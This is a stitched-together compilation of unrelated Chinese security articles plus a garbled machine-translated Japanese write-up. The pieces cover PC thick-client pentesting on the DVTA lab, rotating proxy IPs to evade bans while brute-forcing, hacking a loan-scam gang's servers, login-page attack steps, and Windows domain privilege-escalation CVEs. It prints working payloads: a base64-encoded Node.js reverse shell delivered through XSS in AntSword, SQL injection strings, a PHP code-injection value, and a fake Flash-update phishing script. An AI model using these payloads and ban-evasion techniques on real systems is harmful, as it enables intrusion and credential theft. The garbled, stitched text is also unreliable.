本项目主要针对pc客户端(cs架构)渗透测试,结合自身测试经验和网络资料形成checklist,如有任何问题,欢迎联系,期待大家贡献更多的技巧和案例。

0x01 概述

PC客户端,有丰富功能的GUI,C-S架构。

uvugc53qdfq15184.jpg

0x02 开发语言

C#(.NET),JAVA,DELPHI,C,C++......


0x03 协议

TCP、HTTP(S),TDS......


0x04 数据库

oracle,mssql,db2......

0x05 测试工具

//相关工具下载:https://github.com/theLSA/hack-cs-tools

dvta: pc客户端靶场

ida pro: 静态分析工具

ollydbg:动态分析工具

CFF Explorer:PE文件分析

PEID:查壳工具

exeinfope/studype:pe文件分析

wireshark:观察流量

tcpview:观察tcp流量

echo Mirage:可拦截tcp流量

burpsuite:http(s)抓包

proxifier:全局代理流量

procmon:文件和注册表监控

regshot:注册表变化对比

process Hacker:进程分析

RegfromApp:注册表监控

WSExplorer:岁月联盟进程抓包工具

strings:查看程序的字符串

.net[反]编译:

dotpeek

de4dot

dnspy

ilspy

sae

ildasm

ilasm

Java反编译

jad

jd-gui

jadx

dex2jar

在线版:
javare.cn

www.javadecompilers.com


Reflexil:组装编辑器(可以作为ilspy插件)

Vcg:自动化代码审计工具

BinScope:二进制分析工具

0x06 代理设置

大部分客户端没有代理配置功能,需要自行设置全局代理,如下两种方法:

1)IE-internet设置-连接-局域网设置。

2)proxifier --> proxy server/proxification rules

//http的流量可以结合burpsuite方便测试(proxy server设置为burp代理地址)。

lw1qyv452cs15185.jpg4cigiht3s1315186.jpgajoquld1q3q15187.jpg

0x07 测试点

0. 信息收集

编译信息,开发环境/语言,使用协议,数据库,ip,混淆/加密,是否加壳等。


案例0-CFF查看客户端信息(如编译环境)

dvta

xpshzcpfkya15188.jpg

1. 逆向工程

反编译,源代码泄露,硬编码key/password,加解密逻辑,角色判断逻辑(0-admin,1-normaluser),后门等。

案例0-反编译获取加解密逻辑并编写解密工具

dvta

lkv2ag3gi5t15189.jpg通过该逻辑和获取的信息dydcj1gpjz215190.jpg

Encrypted Text: CTsvjZ0jQghXYWbSRcPxpQ==

AES KEY: J8gLXc454o5tW2HEF7HahcXPufj9v8k8

IV: fq20T0gMnXa6g0l4

编写解密工具

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data;

using System.Drawing;

using System.Linq;

using System.Text;

using System.Threading.Tasks;

using System.Windows.Forms;

using System.Security.Cryptography;

namespace aesdecrypt

{

 public partial class aesdecrypt : Form

 {

 public aesdecrypt()

 {

 InitializeComponent();

 }

 private void decrypt(object sender, EventArgs e)

 {

 String key = “J8gLXc454o5tW2HEF7HahcXPufj9v8k8”;

 String IV = “fq20T0gMnXa6g0l4”;

 String encryptedtext = “CTsvjZ0jQghXYWbSRcPxpQ==”;

 byte[] encryptedBytes = Convert.FromBase64String(encryptedtext);

 AesCryptoServiceProvider aes = new AesCryptoServiceProvider();

 aes.BlockSize = 128;

 aes.KeySize = 256;

 aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key);

 aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV);

 aes.Padding = PaddingMode.PKCS7;

 aes.Mode = CipherMode.CBC;

 ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV);

 byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);

 String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);

 Console.WriteLine(“\n”);

 Console.WriteLine(“##########Decryptig Database password##########\n”);

 Console.WriteLine(“Decrypted Database password:” + decryptedString+”\n”);

 Console.WriteLine(“##########Done##########\n”);

 }

 }

}

//解密代码源自https://resources.infosecinstitute.com/damn-vulnerable-thick-client-app-part-5/#article


案例1-反编译修改代码逻辑让普通用户以管理员登录

dvta

1-Isadmin

0-Normaluser

改1为0即可判断为admin

dwqxhbjpaij15191.jpgt00k3imh1ze15192.jpg

2. 信息泄露

明文敏感信息,敏感文件(如安装目录下的xxx.config)。

注册表:利用regshot比较客户端运行(如登录)前后注册表差别。

开发调试日志泄露(如dvta.exe >> log.txt)

process hacker查看客户端内存中的明文敏感数据(如账号密码/key)。

strings直接查看客户端字符串(如ip信息)。

查看源代码(如github,gitee等)


案例0-配置敏感信息泄露

dvta

3okk5jvqivq15193.jpg


案例1-内存泄露数据库账号密码

dvta

bci5kvhk5h415194.jpg


案例2-源代码含有硬编码ftp账号密码

dvta

vvmjhhp0coa15195.jpg

案例3-开发调试日志泄露

dvta

gow1qjc5p2n15196.jpg
案例4-某系统登录后本地保存账号密码tilhlm5qps215197.jpg//本案例来源于https://blog.csdn.net/weixin_30685047/article/details/95916065

3. 传输流量

wireshark/echo Mirage/burpsuite+nopeproxy/fillder/charles

ftp等协议明文传输的账号密码

SQL语句明文传输(如利用构造注入,越权等)


案例0-正方教务系统sql语句明文传输,返回明文数据

kqrzdexbekc15198.jpgcfsdsxfbdvb15199.jpg

//本案例来源于wooyu


案例1-某系统登录处数据包返回数据库帐号密码

3olpw1gu2tw15200.jpg

4. 其他漏洞

用户名枚举

案例0

wos1yaexzxx15201.jpgqiz1oeuk1o115202.jpg

暴力破解

如登录功能。

案例0

jmpjlppkrjn15203.jpg

弱口令

可尝试admin 123456等。

密码明文传输


SQL语句暴露

案例0

hvwshywnhl215204.jpg案例14kjxxjkrvck15205.jpg

SQL注入

如登录处,万能密码

xxx’ or ‘x’=’x

xxx’ or 1=1--

输入框处,构造闭合报错,如’、’)、%’)、order by 100--等。

利用显示位或报错注出数据,原理同web注入,不同数据库大同小异。


案例0-oracle注入

' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--

fskpmnkf4re15206.jpg

案例1-mssql注入

111') and (select user)>0--


s1vt2uu5r2z15207.jpg

CSV注入

如导出excel,输入1+1,导出后看是否为2。

XSS

如Electron,NodeWebKit等。


案例0-中国蚁剑xss到rce

环境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5

xss webshell:

<?php

header('HTTP/1.1 500 <img src=# onerror=alertx>');

cigbafvjibp15208.jpg

windows+node.js:

成功

var net = require("net"), sh = require("child_process").exec("cmd.exe");

var client = new net.Socket();

client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);

sh.stderr.pipe(client);});

<?php

header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=,base64).toString())'>");

b2fiugzmtos15210.jpg

相关参考

https://www.anquanke.com/post/id/176379

命令执行

案例0-印象笔记windows客户端6.15本地文件读取和远程命令执行

http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6%88%B7%E7%AB%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/

案例1-某云pc客户端命令执行挖掘过程

https://www.secpulse.com/archives/53852.html

案例2-金山WPS Mail邮件客户端远程命令执行漏洞(Mozilla系XUL程序利用技巧)

https://shuimugan.com/bug/view?bug_no=193117


测试点同web。


DLL劫持

Linux文件搜索顺序:

  1. 当前目录
  2. PATH顺序值目录

程序搜索Dll顺序:

//没提供绝对路径

1.应用程序加载的目录。

2.当前目录。

3.系统目录 (C:\Windows\System32\)。

4.16位的系统目录。

5.Windows目录。

6.PATH变量的目录。

程序可以加载攻击者放置的恶意dll。

利用procmon搜索程序加载的dll,观察name not found。

msf生成恶意dll放置于程序加载位置,运行程序即可触发payload。


案例0-dll劫持

dvta

wibpgrwt50v15211.jpglkbyla4bdhg15212.jpg

逻辑缺陷

测试点同web。

授权认证缺陷

注册表键值,授权服务器返回信息构造。

相关参考

https://cloud.tencent.com/developer/article/1430899

未授权


案例0-正方教务系统数据库任意操作

知道ip即可接管数据库

vajzfh2zqxm15213.jpg

//本案例来源于wooyun

越权

溢出

0x08 相关技巧

  1. 利用procexp --> properties --> tcp/ip 可以查看该客户端发起的网络连接,从而快速确定服务端地址
  2. wireshark直接过滤出服务器或数据库的ip或协议方便查看,如

ip.addr == 1.2.3.4&&http

  1. 如果有数据库账号,可以用数据库监控sql语句操作(如sql server profiler)。


0x09 参考资料&&相关资源

https://resources.infosecinstitute.com


利用Python脚本自动生成Clash配置文件,实现FUZZ自动切换IP。现在蓝狗封IP速度太快了,想想当年自己用Burp爆破封堵IP的日子就想哭。
不要问我为啥不用飞鱼,太贵了

0x00 购买IP地址池

推荐余额套餐的方式进行购买,该脚本配合余额支付更划算。
http://http.py.cn/pay/?paytype=banlance

0x01  获取API接口

购买套餐后,选择》API提取》直接提取,推荐配置如下:

  • 1.余额提取。
  • 2.使用时长按需选择,建议选择25分钟-180分钟。
  • 3.提取数量建议为5-10,土豪随意。
  • 4.建议省份混拨,并选择自己所在省份或临近省份,提高访问速度。
  • 5.目前该代理协议仅支持SOKCS5连接。
  • 6.数据格式选择Json格式,方便脚本解析。
  • 7.选择属性全部勾选,否则会发生错误。
  • 8.IP去重365天。

image

0x02  部署说明

将Auto_proxy代码(Auto_proxy_example.yaml, Auto_proxy.py, proxyIgnoreList.plist )拷贝到Clash配置文件目录下。

  • Windows默认:Clash\Data\profiles\
  • Mac默认:~/.config/clash/

image

修改Auto_proxy.py相关配置,主要参数如下。

  • test_url:需要监控测试的IP地址。
  • py_api:上一步获取的品易API接口。
  • max_connect_error:错误连接次数,连续连接错误N次,重新获取代理。

image

白名单配置,可参考https://www.cnblogs.com/PowerTips/p/14775956.html

  • Windows:在Auto_proxy_example.yaml添加cfw-bypass配置。
  • Mac: 直接使用项目中proxyIgnoreList.plist即可,需重启生效。

注:务必将*.taolop.com加入白名单中,不然可能会导致代理失效一直重复获取代理。

0x03 使用说明

在Clash目录下执行python3 Auto_proxy.py,同时Clash将配置选为Auto_proxy。

image

需将Clash配置为全局模式,同时设置系统代理,目前脚本设置两种规则:

  • 加速模式:根据监控网站选择延迟最低的代理。
  • 负载模式:每次请求都会随机一条代理进行连接。

image

负载模式运行效果:

image

当运行错误超出设置阀值,会进行提示“IP已被封禁,重新获取代理”,此时Clash提示“重载配置文件”,需手动点击更新。

image

0x05 使用效果

该效果模式为负载模式,测试Dirsearch, 其它工具请自行测试。

  • 靶机端: python3 -m http.server 8000
  • 攻击端: python3 dirsearch.py -u http://X.X.X.X:8000 --proxy=http://127.0.0.1:7890

image

同时10个IP爆破目录,就问你慌不慌!

0x00概要

ある日、オンラインの友人が著者に彼がだまされたと語った。だまされる方法はユニークです。私にはお金がないので、私は融資を受けることを選択し、ローンプロセス中に悲劇的に詐欺されました。

詐欺テキストメッセージ:图片

0x01詐欺プロセス

(ここの犠牲者はXiaohuiに置き換えられます)

ある日、Xiaohuiは携帯電話でオンラインローンに関するテキストメッセージを受け取りました。それはたまたま月末であり、厳しい位置にいました。 Xiaohuiは、アプリをダウンロードして開く誘惑をかけずにはいられませんでした。良いアカウントを登録し、ID番号、ハンドヘルド、作業場所、家族情報などを記入した後、私は20,000元ローンを申請しましたが、長い間受け取っていません。 Xiaohuiはカスタマーサービスに尋ねて学んだ。支払い後、VIP料金はローン額とともに銀行カード口座に転送されます。 Xiaohuiはそれについて考え、お金を失わなかったので、彼は来月家賃のVIP治療を開いた。

XiaohuiはVIP治療を開始し、月末までローンを取得できると考えていましたが、それでも彼はローン額とVIP料金を受け取りませんでした。今回、カスタマーサービスはXiaohuiに連絡するためのイニシアチブを取りました。返済能力を証明するために現金を支払ってください。支払い後、料金はローン額とともに銀行カード口座に転送されます。

Xiaohuiは不安でした。来月は家賃がなくなったことを見て、彼は歯を食いしばり、友人から3,500元を借りて、顧客サービスが再び提供した銀行カード番号を呼びました。彼は、今回は言い訳がないと思った! 20,000元、あなたに持ってきてください! Xiaohuiは、20,000元のローンの後、食べたり、飲んだり、楽しんだりする方法についてすでに考えています~~

しかし、運の女神はまだXiaohuiの世話をしていませんでした。カスタマーサービスは再びXiaohuiに連絡し、承認は正常に承認され、支払いが支払われようとしていると述べましたが、費用はまだ3,000元であり、費用はローン額とともに銀行カード口座に転送されます。 Xiaohuiはun然としました。次に、カスタマーサービスは、バックグラウンドによって生成された偽の契約をXiaohuiに送信しました。

图片

Xiaohuiは不安で、融資を受けましたが、彼は数千元を失い、信用報告書に行かなければなりませんでした。キーローンはまだ取得されていません!問題が悪化しているのを見て、Xiaohuiは私を見つけました。 Xiaohuiの説明の後、私はXiaohuiの携帯電話のローンソフトウェアをチェックし、Xiaohuiにあなたがだまされたことを無力に伝え、お金は返されないことを伝えました。 Xiaohuiもこの瞬間にst然とし、後悔の涙を流しました.

PS:上記は詐欺の実際のプロセスにすぎず、すべてのナレーションが私の火に追加されます。著者はまた、市場での2つの一般的な詐欺ソースコードを簡単に分析および記録しました。

0x02脆弱性分析

1。ソースコードの脆弱性分析の最初のセット

(1)thinkphp logリーク图片

ThinkPhp3.2.3の開発、フロントエンドおよびバックエンド分離图片に基づいています

デバッグはデフォルトで有効になり、漏れたログSQL情報を引き起こし、例外キャッシュ图片コンストラクトペイロード:App/Runtime/Logs/21_10_16.log

图片

リークされた管理者テーブルアカウントのパスワードを取得し、背景图片 图片を入力します

(2)配列は制御可能であるため、RCEアップロード可能なファイル名がデータパケットに直接持ち込まれます图片

ここでは、バックエンドが配列内のファイル名を制御すると推測されます(この推測がウェブシェルを取得した後に正しいことも証明しています)

アップロード可能なファイル名をPHPに追加し、アップロードしてWebShellを取得する

対応する構成ファイルを確認し、アップロード可能な接尾辞名が配列にあることを確認します。ここでは、閉じたアレイを挿入して图片を使用することもできます

ペイロード:sitename=11111 ')。phpinfo(); //

图片

返品配列、文字列コンカテネーター 'のために、バックエンドがどのように処理するかを見てみましょう。图片を追加する必要があります

バックグラウンドにログインして、ペイロードが実行されているかどうかを確認します图片

2。ソースコードの脆弱性分析の2番目のセット

(1)カスタマーサービスオフィスWebSocket-XSS著者の機能は限られています。 2番目の不正ローンソースコードのセットは、ワンクリックで構築されていると疑われます。それらはすべて、Baota + Baota FreeバージョンWAFの最新バージョンを使用しています。

フロントデスク:图片

カスタマーサービスの入り口を見つけて画像をアップロードすると、WebSocketからアップロードされたデータパッケージに転送されます

WebSocketパケットを変更し、XSS 图片 图片を構築します

クッキーは图片を取得します

3。カスタマーサービスシステムコントロール/PCコントロール

3.1制御データベース

MySQLデータベースにログインして、詐欺容疑者ログインIP图片を表示する

杭州の通信基地局の動的IPは、ホームルートであると判断されており、トレーサビリティ値はまだありません。图片

0x03制御カスタマーサービスシステム

詐欺ソースコードカスタマーサービスシステムの最初のセットは、オンラインオンラインカスタマーサービスシステム图片を使用しています

バックグラウンドでカスタマーサービスのバックグラウンドログインアドレスに反転しました。フロントエンドは、アカウントのパスワードにエラーがあることを示しましたが、アカウントは正常に爆発しませんでした。图片

その後、作者はカスタマーサービスシステムを登録し、AdminidとUIDを介してSetCookiesを横断し、彼の権限を超えてカスタマーサービスアカウントを取得しました。

图片

中国語アカウント==图片

ブラスト图片のパスワードを取得します

カスタマーサービスの背景にログインします

不正戦術チェーン全体图片

犠牲者とのチャット履歴

图片 图片

0x04フラッシュフィッシングを使用します

詐欺アプリのサーバー許可を制御した後、著者はフラッシュフィッシングを使用して、詐欺ギャングの個人PCを制御しようとしました。

バックグラウンドでログインが成功した後にジャンプするファイルが挿入され、事前に準備された偽のフラッシュ更新ページにジャンプします

事前に準備する:馬を殺さずに偽のフラッシュドメイン名(できれば「フラッシュ」という言葉を含む)

scriptwindow.alert=function(name){var iframe=document.createelment( 'iframe'); iframe.style.display='none'; iframe.setattribute( 'src'、 'data:text/plain、'); document.documentelement.appendchild(iframe); window.frames [0] .window.alert(name); iframe.parentnode.removechild(iframe);}; alert( 'flashバージョンは低すぎます。 it! '); window.location.href=' https://www.flashxxxx.com ';/スクリプト効果:

アカウントのパスワードを入力してログインします。この時点で、上記のJavaScriptをロードします。图片

[確認]をクリックして、事前に作成されたフラッシュ更新ページのWebサイトにジャンプして、ダウンロードクリックを誘導します。图片

しかし、最終的には起動されませんでした。ログを通して、詐欺ギャングがバックエンドにログインしたことがわかりました。これは少し後悔です。

0x05要約

オンラインローン詐欺事件の典型的な機能は、容疑者が「住宅ローンとレビューなし」の仕掛けの下で融資を必要とする被害者を募集し、「アカウントの凍結と未凍結」の名前で貸付を募集して、融資を完了するために預金を集め、その後、保険料の名の下で犠牲を払って請求します。容疑者が被害者のために設計したプロセス全体で、被害者のお金がだまされました。緊急にお金を必要とする自営業の個人、高度な消費概念を持つオフィスワーカー、大学生、その他のグループは詐欺に対して脆弱です。

詐欺師は、罪深い手を香港、台湾、または海外にまで伸ばすだけではありません.

分析によると、この詐欺ギャングのグループもブラジルで同じ不正行為を犯し、使用された詐欺ソースコードは上記の最初のソースコードのセットです。

ブラジルの图片500以上の犠牲者。

图片

图片

天国のネットは漏れなく広大でまばらです!悪を犯すすべての人は、法律によって厳しく罰せられるでしょう!

元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=22475021666666666666666666666666666666666975DD185B3CCKCHKSM=CE6463CFF9 13EAD9C3A448D74666B7C38ED593A70991826528387AD4BB787292BDD2979E7D64SCENE=21#WECHAT_REDIRECThttps://XZ.ALIYUN.COM/T/10391

在渗透测试过程中,碰见的web登录页面特别多,那么我们应该用什么样的思路去进行一个测试呢,下面看看我的一些测试师思路ba


测试思路

当看见一个这样的web登录框时,会怎么样进行一个渗透呢

njgyxsbbbxn15111.jpg

弱口令

我们可以看见 这个登录时并没有存在一个验证码,就会存在一个爆破问题 那么一般爆破的用户名又会存在那些呢

1.admin
2.test
3.root

这里也可以去查找对应系统的的操作手测,收集管理账号,增加爆破机率

在这里进行了爆破,并没有结果


目录扫描

我们可以去扫描目录 可能一些被扫描出来的目录未做鉴权 可直接访问

jodxygj0dhg15113.png


JS文件未授权

上面方法都无果后,我们接下来去看下JS文件

发现在index.js中存在一个/SystemMng/Index的url

我们尝试拼接访问

ncdi4ufubnq15115.jpg

拼接进来后 发现什么都没有 是不是准备放弃了

dthbggvsktz15117.jpg

别急 我们再看看JS 是不是发现惊喜了

dqggfl05ttx15118.jpg

拼接几个危害都挺大的 拿个可以继续利用的给大家

oixxzwt5nir15121.jpg


组合拳弱口令爆破

到这里我们拿到了管理员的账号以及电话了,也可以直接重置他们密码了(拿正确的账号再去尝试爆破)

可以看见 password被加密了 发现为m5 我们利用burp自带的转码爆破即可

ihypxsvk5cy15123.jpg

爆破成功 账号比较复杂 在没前面的操作下拿不到用户名

zgwmvoc04ph15126.jpg

登录成功

yd214qijv5p15128.jpg


登录返回包测试

随意输入登录的账号密码登录抓包

修改他的鉴权数据后

g2peiydaj3r15131.jpg

修改后发现跳转的还无数据 JS中还是存在泄露

4ijyhjbzv0s15133.jpg


利用方法一样


越权

现在已经拿到了普通用户的账号密码了,那我们后面应该去尝试一个越权 垂直越权 或者 平行越权

拿爆破的号进行登录抓包处理,这个地方师傅们在挖掘的时候可以多看几遍数据包以及返回包

开始在构造时 以为是校验ID 后面多测试几轮下来,发现只会去识别code参数

2arn2scvvtl15134.jpg

从未授权到拿到网站的所有权限

s2kw24gd1h115135.jpg


原文连接: https://xz.aliyun.com/t/11612

1.MS14-068

kerberos认证,no PAC

用户在向 Kerberos 密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时,可以伪造自己的 Kerberos 票据

漏洞效果:

将任意域用户提升到域管权限

利用条件:

1.小于2012R2的域控 没有打MS14-068的补丁(KB3011780)

2.拿下一台加入域的计算机

3.有这台域内计算机的域用户密码和Sid

利用方式:

在《Kerberos认证及过程中产生的攻击》一文中有详细讲

这可以看 https://cloud.tencent.com/developer/article/1760132

2.CVE-2020-1472

NetLogon特权提升漏洞(CVE-2020-1472)是一个windows域控中严重的远程权限提升漏洞。

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致

以将域控机器用户的password设置为空。

这样我们就可以导域管hash,最后再还原域控机器用户的密码

漏洞效果:

可利用此漏洞获取域管访问权限

影响版本:

利用方式:

https://cloud.tencent.com/developer/article/1780108

https://cloud.tencent.com/developer/article/1837483

3.CVE-2021-42287&42278

Windows域服务权限提升漏洞(CVE-2021-42287, CVE-2021-42278)是由于Active Directory 域服务没有进行适当的安全限制,导致可绕过安全限制进行权限提升。攻击者可利用该漏洞造成将域内的普通用户权限提升到域管理员权限

漏洞效果:

将任意域用户提升到域管权限

影响版本:

利用条件 :

(1)一个普通域成员帐户

(2)域用户有创建机器用户的权限(一般默认权限)

(3)DC未打补丁KB5008380或KB5008602

利用方式:

https://blog.csdn.net/FHLZLHQ/article/details/121964692


4.CVE-2021-1675/CVE-2021-34527

PrintNightmare 此漏洞一开始为CVE-2021-1675,随后微软把此漏洞分配给了CVE-2021-34527,并提到了两个漏洞很像,但是攻击向量是不同的。

Print Spooler是Windows系统中管理打印相关事务的服务,用于管理所有本地和网络打印队列并控制所有打印工作。Windows系统默认开启 Print Spooler 服务,普通用户可以利用此漏洞提升至SYSTEM管理权限。

漏洞效果:

未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码,从而获得整个域的控制权

影响版本:

利用场景

  • 在工作组环境下,可通过该漏洞获取系统最高权限;
  • 域环境下,直接攻击域控制器可以获取域控的SYSTEM权限,执行任意代码;
  • 可用于持久化的操作,得到域控后,在有共享目录、能访问到域控的情况下,远程的加载共享目录下的DLL。

利用条件

  • 目标开启Spooler服务;
  • 一个普通权限的域账户;
  • 创建的smb服务允许匿名访问,即目标可以直接获取到文件。

利用方式

https://bewhale.github.io/posts/29501.html

https://mp.weixin.qq.com/s/1sR0wTyJFf5UnuPjtJ-DWw

5.CVE-2019-1040

2019年6月,Microsoft发布了一条安全更新。该更新针对CVE-2019-1040漏洞进行修复。此次漏洞,攻击者可以通过中间人攻击,绕过NTLM MIC(消息完整性检查)保护,将身份验证流量中继到目标服务器。

漏洞效果

通过这种攻击使得攻击者在仅有一个普通域账号的情况下可以远程控制 Windows 域内的任何机器,包括域控服务器。

影响版本

Windows 7 sp1 至Windows 10 1903

Windows Server 2008 至Windows Server 2019

利用场景

对于特定环境, CVE-2019-1040漏洞的攻击链目前已经确定的两种攻击途径:

1、攻击域Exchange Server (下面以这种途径来描述)

2、攻击域AD Server(结合基于资源的约束委派)

利用条件

A、Exchange服务器可以是任何版本(包括为PrivExchange修补的版本)。唯一的要求是,在以共享权限或RBAC模式安装,Exchange默认具有高权限。 B、域内任意账户。(由于能产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户) C、CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。 D、构造请求使Exchange Server向攻击者进行身份验证,并通过LDAP将该身份验证中继到域控制器,即可使用中继受害者的权限在Active Directory中执行操作。比如为攻击者帐户授予DCSync权限。 E、如果在可信但完全不同的AD林中有用户,同样可以在域中执行完全相同的攻击。(因为任何经过身份验证的用户都可以触发SpoolService反向连接)

漏洞利用攻击链

1、使用域内任意帐户,通过SMB连接到被攻击ExchangeServer,并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。 2、中继服务器通过SMB回连攻击者主机,然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。 3、使用中继的LDAP身份验证,此时Exchange Server可以为攻击者帐户授予DCSync权限。 4、攻击者帐户使用DCSync转储AD域中的所有域用户密码哈希值(包含域管理员的hash,此时已拿下整个域)。

利用方式:

同一网段内:https://www.freebuf.com/vuls/274091.html

隧道下:https://zhuanlan.zhihu.com/p/142080911

CVE-2019-1040+RBCD(基于资源的约束性委派)+PetitPatom

6.域委派攻击

https://mp.weixin.qq.com/s/GdmnlsKJJXhElA4GuwxTKQ

7.NTLM Relay

https://www.anquanke.com/post/id/193149 https://www.anquanke.com/post/id/193493 https://www.anquanke.com/post/id/194069 https://www.anquanke.com/post/id/194514

8.ADCS漏洞--ESC8(PetitPotam)(ADCS relay)

ESC8是一个http的ntlm relay,原因在于ADCS的认证中支持NTLM认证

漏洞效果:

将普通域用户提升到域管权限

利用条件:

1.未打adcs的补丁 2.有两台域控 3.有adcs服务

利用方式:

https://blog.csdn.net/qq_43645782/article/details/119322322

https://forum.butian.net/share/1583

9.ADCS漏洞--CVE-2022–26923

漏洞影响: 允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员

漏洞组件:活动目录证书服务(Active Directory Certificate Services,AD CS)

漏洞简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。

受影响的 Windows 版本:

Windows 8.1

Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2

Windows 11

Windows Server 2008,2012,2016,2019,2022

利用先决条件:

CVE-2022-26923/CVE-2022-26931漏洞与2021年CVE-2021-42278/CVE-2021-42287sAMAccountName spoofing漏洞类似,均通过利用伪造域控制器名称身份来进行相关的提权操作。它的利用先决条件为:

  1. 该提权漏洞适用于所有的Windows服务器活动目录版本,包含目前位于微软产品支持范围内的Windows Server 2012 R2到Windows Server 2022,以及超出产品支持范围的旧Windows服务器版本。
  2. 入侵者至少控制一个活动目录用户账户,该用户账户对于活动目录中至少一个计算机账户具有“Validated write to DNS host name”权限。默认情况下,单个活动目录普通域用户可以加入或创建(包含创建空账户)10个计算机账户到活动目录中,并对自己所加入/创建的计算机账户具有CREATOR OWNER管理权限(包含“Validated write to DNShost name”权限)。因此该权限较为容易获得。
  3. 在活动目录内部部署有企业证书服务,并允许上述被控制的计算机账户申请计算机身份验证证书。企业证书服务是活动目录中广泛部署的一种相关基础服务,并且默认情况下,与活动目录集成的企业证书服务默认即允许域内计算机申请计算机身份验证证书。

复现参考:

https://forum.butian.net/share/1578

https://forum.butian.net/share/1583

10.Exchange相关,可控制Exchange服务器

Exchange在域内有着重要的地位,一般来说,拿到Exchange服务器的权限,基本等同于拿到域管的权限。拿到Exchange服务器,有很大概率就是域管直接登录的。或者域管曾经登录过。拿到Exchange服务器权限的时候,可以尝试直接dir下域控的C盘,看有没有权限。如果没有权限,再尝试使用mimikatz抓一波密码,很大概率可以直接抓到域管或者高权限用户。而且就算是高版本的server,在Exchange上也能抓到明文密码。

11.CVE-2018-8581 (拿域控)

漏洞描述:

该漏洞利用了 Exchange 服务器的 SSRF 和高权限的请求,导致拥有合法邮箱凭证的用户可以被提升至域管权限

影响范围:

利用条件:

Exchange 默认配置下,攻击者拥有合法的邮箱用户凭证,同时,该漏洞利用是通过 NTLM Relay的方式进行提权,因此攻击者需要已经在内网环境中取得可用主机。

漏洞简介:

该漏洞的发生源于几个方面:

  • 首先,Exchange 允许任意用户(只要是通过了认证的)通过 EWS 接口来创建一个推送订阅(Push Subscription),并可以指定任意 URL 作为通知推送的目的地;
  • 其次,通知被订阅推送后,当触发推送时,Exchange 使用了 CredentialCache 类的 DefaultCredentials 属性,由于 EWS 以 SYSTEM 权限运行,当使用 DefaultCredentials 时发出的 HTTP 请求将使用该权限发起 NTLM 认证;
  • 在 EWS 请求中,通过在 Header 中使用 SerializedSecurityContext,指定 SID 可以实现身份伪装,从而以指定用户身份进行 EWS 调用操作。

也就是说【我们可以控制Exchange服务器向我们发起HTTP 协议的NTLM 请求,这样我们就能拿到Exchange机器用户的 Net-Ntlm Hash】

由于该漏洞利用涉及 NTLM 的重放攻击,一种很容易想到的思路就是将该凭证重放到域控机器。由于重放的 NTLM 凭证来自 Exchange 服务器的机器用户权限,根据Relay To LDAP一节的描述,我们知道Exchange机器用户具有write-acl权限,可以给任意用户提权,赋予Dcsync的权限,从而dump出所有密码哈希值。

服务端是否要求签名:

我们Relay到的服务端是Ldap,在前面【ldap签名】一节提到,Ldap服务器的默认策略是协商签名。是否签名是由客户端决定的。客户端分情况,如果是smb协议的话,默认要求签名的,如果是webadv或者http协议,是不要求签名的

在这个漏洞里面发起的请求是http协议,这也就意味着我们什么都不用做,在这个漏洞中并不要求签名。

EXP :

复现可以参考这篇文章:

CVE-2020-0688 (RCE)

漏洞描述:当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码,就可以在被攻击的exchange上执行任意代码,直接获取服务器权限。

利用条件:Exchange Server 2010 SP3/2013/2016/2019,普通账号。

攻击脚本:

复现:

https://www.anquanke.com/post/id/226543#h3-13

12.CVE-2020-17144 (RCE)

漏洞描述:远程攻击者通过构造特殊的cmdlet参数,绕过身份验证利用改漏洞可造成任意远程命令执行。

利用条件:Exchange2010,普通账号。

攻击脚本1:

攻击脚本2:

13.CVE-2020-16875 (RCE)

漏洞描述:远程攻击者通过构造特殊的cmdlet参数,可造成任意命令执行。

影响版本

Exchange Server 2016 CU17

Exchange Server 2016 CU16(已测)

Exchange Server 2019 CU5

Exchange Server 2019 CU6

利用条件:Exchange Server 2016/2019,普通账号。

攻击脚本:

复现:https://cloud.tencent.com/developer/article/1704777

